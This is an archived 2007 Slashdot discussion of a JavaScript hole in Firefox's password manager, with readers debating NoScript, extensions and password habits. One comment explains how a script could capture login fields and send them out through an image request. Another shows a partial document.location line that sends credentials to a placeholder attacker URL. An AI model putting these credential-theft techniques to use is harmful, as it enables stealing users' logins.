Slashdot Log In
Holes Remain Open in Firefox Password Manager
Posted by
Zonk
on Fri Jul 20, 2007 09:13 AM
from the batten-down-the-hatches dept.
from the batten-down-the-hatches dept.
juct writes "Although the Mozilla developers have fixed a known hole in the password manager of Firefox & Co, a door remains open for exploitation. According to an article on the heise site, hackers can still use JavaScript to steal passwords from users of the Mozilla, Firefox, and Safari browsers. However, the real problem might not be Firefox' password manager. If users can set up their own pages containing script code on a server, the JavaScript security model breaks. Heise Security demonstrates the possible password theft in a demo. 'From the users' perspective, this means that they should not entrust their passwords to the password manager on web sites that allow other users to create their own pages containing scripts. Otherwise somebody can easily create a page that steals the password as soon as the page is opened ... Users could also disable JavaScript or use add-ons such as NoScript to set up rules to provide additional protection. In the age of Web 2.0 this would, however, mean that many pages would cease to function. On the other hand it is doubtful that by not using a password manager security levels would be raised, since the resultant need to remember passwords often induces users to choose simplistic passwords and use them on multiple sites.'"
This discussion has been archived.
No new comments can be posted.
Holes Remain Open in Firefox Password Manager
|
Log In/Create an Account
| Top
| 191 comments
| Search Discussion
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
Thank goodness... (Score:1, Funny)
Re:Thank goodness... (Score:4, Funny)
Firefox no longer safe? (Score:4, Funny)
(http://www.freecharity.org.uk/)
Re:Firefox no longer safe? (Score:4, Funny)
Re:Firefox no longer safe? (Score:5, Insightful)
But they can only "steal" the passwords of that website. They can't steal your all passwords. So just remember to select different passwords for websites that might allow users to insert Javascript code on the site. So it doesn't matter that much if they manage to steal your passwords.
Or use Noscript as suggested. Or simply don't use such websites, as they clearly don't think much about user's security.
Re:Firefox no longer safe? (Score:4, Insightful)
(http://www.kibbee.ca/)
This brings up another thought. If the websites in question allow users to post javascript, and there happens to be a login section on that page, then couldn't the user posting the script add an onchange or onkeypress event to the username and password fields to capture the username and password, and then forward the information to their server by creating an img element, and having the username and password passed as GET variables appended to the URL of the img src, which is in fact just a php page that stores the username and password in a database. Seems to me that any site that allows people to post executable javascript is just asking for trouble.
It's evolution baby (Score:1, Insightful)
stupid features (Score:1, Interesting)
(Last Journal: Friday May 20 2005, @03:19PM)
Don't want to remember all your passwords? Don't use sites that require passwords.
Do you trust the your real life keys to be managed by a third party, then wonder how someone broke in your house without forced entry?
Having something "remember" your passwords defeats the purpose of having passwords.
Re:stupid features (Score:5, Insightful)
Or more specificly: Don't use internet. How many webmails you know that don't use password? You couldn't even write to Slashdot, except anonymously.
> Do you trust the your real life keys to be managed by a third party, then wonder how someone broke in your house without forced entry?
Yes, 3rd party has keys to our home. It is quite common with the apartment houses where I live. It is however quite unlikely that they would steal from us, as they would be number one suspects. So far I have never been robbed by they key holders, nor have I ever heard of a case that someone else had been.
> Having something "remember" your passwords defeats the purpose of having passwords.
Not really. It just makes the password behave more like client sertificates that automatically identify client to the server.
Possible fix (Score:5, Interesting)
Secure Login extension (Score:4, Informative)
You know, that's not a bad idea. Apparently someone else had it too. Check out the Secure Login [mozilla.org] extension. It doesn't use a right click (although I kinda wish it did; may have to suggest that) but it does have a shortcut key and an icon.
Thanks for saying that; I would have never thought to go looking for such an extension without you saying it.
password complexity (Score:5, Interesting)
Clarification (Score:5, Informative)
Users could also disable JavaScript, which in the age of Web2.0 would cause many pages to display incorrectly. A better alternative is NoScript! [noscript.net], an add-on that allows users to selectively white-list pages, servers, or domains to use JavaScript.
Re:Clarification (Score:4, Interesting)
Take MySpace. How do you want to handle it? Whitelist MySpace as a whole? Then you got no security. Whitelist certain user pages? Then someone who browses userpages has essentially the equivalent of having JS turned off and gets bugged every 2 seconds. And the potential problem that someone might generate content you want to see and bug it.
The problem is not that certain domains are "evil". Ok, that problem exists, too, but it's a very different problem. The problem is that it's now possible to put malicious script code into user generated content, and that other content on the same server and domain is what people want to see.
Firefox password manager (Score:5, Interesting)
It seems to me that if this program can do that, then it can't be hard for a more nefarious program on my computer to do the same.
Re:Firefox password manager (Score:5, Informative)
Once you do that it won't be able to read them either.
Its failure to read the Opera ones means either A) you set a master password in Opera or B) no one cares about Opera so program doesn't even look for them.
Re:Firefox password manager (Score:4, Informative)
(http://jcaif.sourceforge.net/)
Password Managers and Simple Passwords (Score:5, Insightful)
(http://nextgen.no-ip.org/)
Don't tell me that an in-browser password manager stops people from using the same password everywhere. The average person sees "password" and a single phrase comes to mind. "Oh, my password is '12345'", they say to themselves, and enter that. They don't sit there and think, "Oh, I should keep my bank account password separate from my MySpace password."
Those two issues aside, people always use password managers of some kind or another. The difference is whether or not they are vulnerable to an attack. I happen to manage my passwords by memorizing them, whereas my father keeps his monitor covered in sticky notes. My password manager is more secure against people sitting at my desk, while his is more secure against old age, and both of them are safe from internet crackers.
I don't think there's much we can do about increasing people's password security other than increasing awareness and forcing better password standards.
KeePass (Score:2, Informative)
OpenID (Score:2)
(http://sambarnum.com/)
Safari?? (Score:2)
(http://www.geocities.com/gwidion23)
I tried it with Konqueror and default KDE 3.5 password saving tecnhology, and no password leaked this way. I wonder if Safari would have problems there.
Master Password? (Score:1, Interesting)
My Password Manager is My Brain (Score:2)
With that said, I must admit that I am having more trouble remembering all of my passwords since I acquire more accounts and each account has different password requirements. I wish there would be an official standard for secure passwords so that I could reliably use one password for most of my accounts. Of course, that would also be a security risk because if someone got that password, they would have access to most of my accounts, but that's a separate issue.
Password Safe (Score:1)
I don't know how easily crackable it is, but at least it's not linked directly to the Internet like a browser.
Use the Secure Login FF Extension (Score:4, Informative)
This extension provides a *wand* like Opera has. (which is not affected by this security hole, because of this functionality).
https://addons.mozilla.org/en-US/firefox/addon/44
Challenge/Response (Score:4, Insightful)
The downsides to this solution? 1) You need to have a browser that supports the protocol (no browsing in telnet). 2) You need to carry around your keys if you want to use them on more than one computer. 3) You need to explain it to users (but hopefully it can be almost transparent). I'm sure there are other problems but the current situation is untenable.
My Solution (Score:2, Interesting)
While I do use the PW Manager in Firefox, I have never allowed it to retain any critical pw's with those defined as any site where I enter financial or shipping information. For those sites, I use a dedicated PW Manager that allows me to generate more secure passwords using all available characters including special characters.
In the rare case that a website does not accept/allow special characters to be used for passwords, I tend to re-evaluate their value to me. I also notify both the webmaster and customer service that they've reduced the value of their business to me by not accepting secure passwords and that I will no longer deal with them except by a cash-n-carry basis. A few of them have responded positively and after some effort have increased their password security by allowing special characters and thus they've gained an increased level of business from me along with the positive word of mouth advertising to my friends and associates.
Fanboi Fix. (Score:2)
Ok, I take that back. Forgot this is Firefox, not Safari.
Maybe I'm doing something wrong (or right...) (Score:2)
IE, is this more FUD-ey stuff that is very situational than practical?
Hm.. (Score:1)
There is no workaround for this.
So, if you're that worried about your passwords being stolen, don't use the password manager. If you're worried about burgulars, close your window and add some bars. Better yet, get rid fo the window all together.
Kwallet (Score:2)
which sites are affected? (Score:1)
would myspace, popular for being visually "hackable", or facebook be affected?
facebook in particular lets you add 3rd party extensions to your profile. would
those extensions be able to add appropriate js code to extract your facebook
password from your firefox password manager?
Don't trust embedded Javascript? (Score:1)
(http://www.shroomery.org/)
Do not use password managers (Score:3, Interesting)
(http://slashdot.org/ | Last Journal: Saturday April 03 2004, @02:29AM)
I rarely use a password manager, because I do not really trust them but also because, just as when using cookies to stay logged on a site, you just do not have to remember your password. This means that when you occasionnally want to log from another computer, for some urgent matter, you cannot find what your password was!
On the other hand, I generally use the same simplistic password on many sites just because there is no critical information on them. On some game sites, the most important information may be my real name and address if there is some incentive for this (read: prizes to win).
Strangely, one really critical site (my banking account) uses a not-so-hard password (6 digits), but this is constrained by the bank itself.
Not my problem (Score:2)
kwalletmanager (Score:2)
Hackproof system (Score:1)
calling BS - should be classed as phishing (Score:3, Insightful)
This is the same old whore in new shoes. A javascript text entry masquerading as something else. You may as well point in apache's direction for htaccess too then.
As long as people do not think about what they are doing with their web browser, you will always have this problem. If people would think about web sites the same way they think about crossing a busy street the problem would be solved.
Use a different password for each site (Score:2, Interesting)
Using a different password for each site is the ultimate in security; however, without a password manager of some sort, it becomes too difficult to manage such a large list of passwords. Thankfully, OSS password managers such as Revelation [codepoet.no] and Figaro Password Manager [sourceforge.net] exist! Personally, I use revelation; however, both are excellent pieces of software!
--Yahma
BlastProxy [blastproxy.com] - Anonymous & Secure web browsing
ProxyStorm [proxystorm.com] - Anonymous & Secure web browsing
LiarLiar [sf.net] - Open Source Voice Stress Analysis & Lie Detection Software
Use Passwordmaker (Score:2)
Makes it trivial to have different, secure passwords for each site.
Better Idea (Score:2)
This means using passwords you can remember, rather than truly strong random passwords, which is a security problem in itself. But with some initial judicial selection of a manual password generation algorithm, this should be doable for most people. If you have a limited set of passwords you use frequently, especially for low value applications like Web sites, and they are generated by a manual algorithm that produces half decent strength passwords, you don't need a password manager.
Reserve your high strength passwords for your personal system, make sure they're different from anything you use externally to your system such as Web sites, and put them on an encrypted USB key or encrypted file on your system so they can't be obtained even by a hack.
Master Password Timeout 0.2.5 (Score:2)
(http://guerillartivism.net/ | Last Journal: Monday July 11 2005, @05:48PM)
Next time the browser wants to fill in a blank it ask for the master password, if you don't trust the site just press escape and nothing will happen !
Ah! I'm safe! (Score:1)
Where can I get a safe (but also useful) browser? (Score:2)
Let me explain what it is that I want:
First, usefulness. Given that pages are designed by clueless morons who suck up to each and every feature or plugin that might be available (Java, Javascript, Flash, embedded objects of of all kinds, perhaps even ActiveX?) the browser needs to handle such pages gracefully. However, such plugins, which may sometimes be closed-source blobs, should be treated with utmost suspicion, and only be allowed to run in a jaillike sandbox, with all priviledges revoked, and isolated from all other parts of the executing session.
Second, stability. On my NetBSD system, I have a setup with mplayer-plugin, java-plugin, and seamonkey, all natively compiled. I admit that by using an obscure OS, my stability issues are partly self-inflicted, but sound defensive programming could avoid some of those problems. Why is it, that a page loading a plugin and crashing, takes down each and every window I have open? Because everything runs without isolation, that's why. If each session ran in its own OS-process, with just a shared display process, this could not happen. But that's not the worst part. Often, I find myself typing lengthy text into a textarea (like just now), and although I have Mozex installed, I still haven't gotten used to it. (There you go.) Although vi may be considered an archaic editor, it does a thing or two right. First, it is far less prone to going belly-up. Second, when it does, I have a fair chance of recovering the text I was typing. Not so with Mozilla. If I am really lucky, the Mozilla process hangs instead of exiting, and then I can use strings on
Third, security. Why is this always an afterthought? I would like to know, record (with timestamp), and archive any exchange of information for later investigation. The only way I would be able to do so would be by making a proxy and go through that always. Why not a function of the browser? I would like to control preemtively each and every IP-address my browser wants to connect to, unless it's on a white-list. Why can't I? The default browser configuration let's me block images from a given server, but why this coarse and arbitrary resolution? Why can't I block URLs by regex? I wan't the ability to restrict beforehand through ACLs, which sites and URLs I like to see. And it goes without saying, that no session should ever be able to send my private data to the server without my approval. I want this enforced, by a provably secure design, using OS security measures to make proper guarantees: the session should run as nobody, chrooted to an empty workdir, and all requests for config and private information should go through a client-server like connection, that should be filtered, logged and audited. And of course anything stored locally should optionally be stored encrypted. Nothing unapproved would ever go on
Re:Lies, damned lies (Score:2)
Not being a developer myself,I don't know have an idea about how to fix it, but this seems like an awful sticky technical problem.
Re:Lies, damned lies (Score:2)
Re:Lies, damned lies (Score:2, Informative)
Re:Lies, damned lies (Score:4, Informative)
Actually, the IE6 and IE7 password managers will most likely equally vulnerable. If you do a little looking at the code, all they really do is just scoop the login and pass from the input fields. Mozilla fills it in by default if only one login is available. I don't know exactly what IE does in this case, but I'm guessing that even if IE doesn't fill out the password right away, you can still add an extra onSubmit to the form and do your thing.
From the MSDN website [microsoft.com] I can quote:
So as far as I can tell, you just need to enter a username and be on the correct URL. If by URL they mean "exactly the same page" this won't work unless you can trick the browser somehow, but if it is "the same (sub)domain" it will. Since I don't have an IE at my disposal right now, I can't test it, but I suppose it will work when you use onSubmit.
document.location="http://some.hackers.url/collecThen redirect to the login page hoping that the site doesn't check referrers (most likely they don't), and you're set to go. Sites that allow users to enter HTML and especially javascript are begging for this sort of thing, and there are much worse things you can do once someone gives you free play with javascript anyway (cookies anyone?)
Just stating the obvious, although now I'm actually curious if this works on IE...
Re:Lies, damned lies (Score:3, Interesting)
(http://www.pixelsaredead.com/ | Last Journal: Wednesday August 18 2004, @12:51AM)
The central concept in much of web-client security assumes that a domain is a single entity, and if you trust the domain, you trust the domain entirely. I don't see fault in this assumption-- a line has to be drawn somewhere as to what "one entity" is, and to split it much further would lead to unnecessary hoops and inconveniences. Back in the NetSol-monopoly days before cheap domain names, this point may have been debatable, but at that time there was far less personal information getting passed around by clients, as well.
Nowadays, anyone who is running a service with open access and open-ended "userpages" should be taking the bare-minimum step of sub-domaining their users' pages, and sub-domaining their own login forms as well. It costs nothing, it's more convenient for users, and it sandboxes everyone from each others' potential hack-attacks. If an exploit that gets around that, then people can talk, as that'd be a legitimate XSS or trojan/spoofing exploit. This stuff, though, is pinning exploits borne of shoddy web-side security onto the client developers.
Re:Lies, damned lies (Score:2)
(http://www.hyperlogos.org/ | Last Journal: Wednesday July 18, @08:19PM)
Uh, how does the existence of a specific exploit in Firefox make it a less secure browser than IE?
History disagrees with you.
If you can provide some hard evidence that IE is more secure than Firefox, we would all be interested in seeing it.
But we won't be holding our breath, either, for two reasons: one, there is no such evidence; two, you would probably not be capable of providing it even if it existed.
Re:Lies, damned lies (Score:1)
In this case the server has already been compromised to some degree... and the only password in jeopardy is one to the very server you are connected to....
That's like saying a local restaurant is not a safe place to use a credit card.... because the staff might see my credit card number or they might be robbed and have my signature slip stolen...
BTW: Have any IE users actually tested to see that IE doesn't have the same "vulnerability"?
Re:Lies, damned lies (Score:1, Insightful)
I am not a Microsoft shill, I support fixing Firefox but the masters don't care.
Re:Lies, damned lies (Score:2, Insightful)
(http://vk6hgr.echidna.id.au/~gavin8or/)
Fanboy here. You're right. Got that outta the way
The problem is not really with the firefox password manager, because
1. Even if you only automatically entered a password with a push mechanism (right-click to fill in password information) then people would still do that on the "bad" scripts. The problem, like most things, is a problem of social hacking. Education is what is needed... maybe make firefox educational as it's logging into various login pages?
2. Remember the problem boils down to using your fileserver password for your myspace account: that's what this is talking about. It's not like an attacker can read your whole password manager, it can only get the password for a certain site that they have ALREADY compromised (myspace and facebook are sites that are compromised by design). If you use one password for all those inherently insecure sites, and another one for your email, and another one for your banking then this attack, even if successful, will not hurt you as much as you think it would Oh no! Some script kiddy finally managed to get my facebook password! He might upload pictures... and people would think I have a life.
Re:Lies, damned lies (Score:2)
(Last Journal: Thursday May 03 2007, @11:34AM)
The problem with IE, was, for the longest time, that it did not provide standard protections. It always allowed the remote sever to control the users machines, and that control, though useful, lead to malicious use. The main thing that other browsers did, and plugins for IE, was allows user to limit the control that the remote site could exert on the local machine, thus increasing security. The user can now control everything, even the look and feel, which is problem for sites that require control of the user to generate revenue, but good for the user. For most users, the two major thing the user can't control or still need, the flash plugin and java script, are now arguably the major points of attack.
So what is the security issue in this case. It is that passwords are stored by the browser, inside the sand box, so to speak. This is bad. Passwords should be stored securely at the system level, available for applications to request, and with the user permission supplied. In other words, application password managers have to go.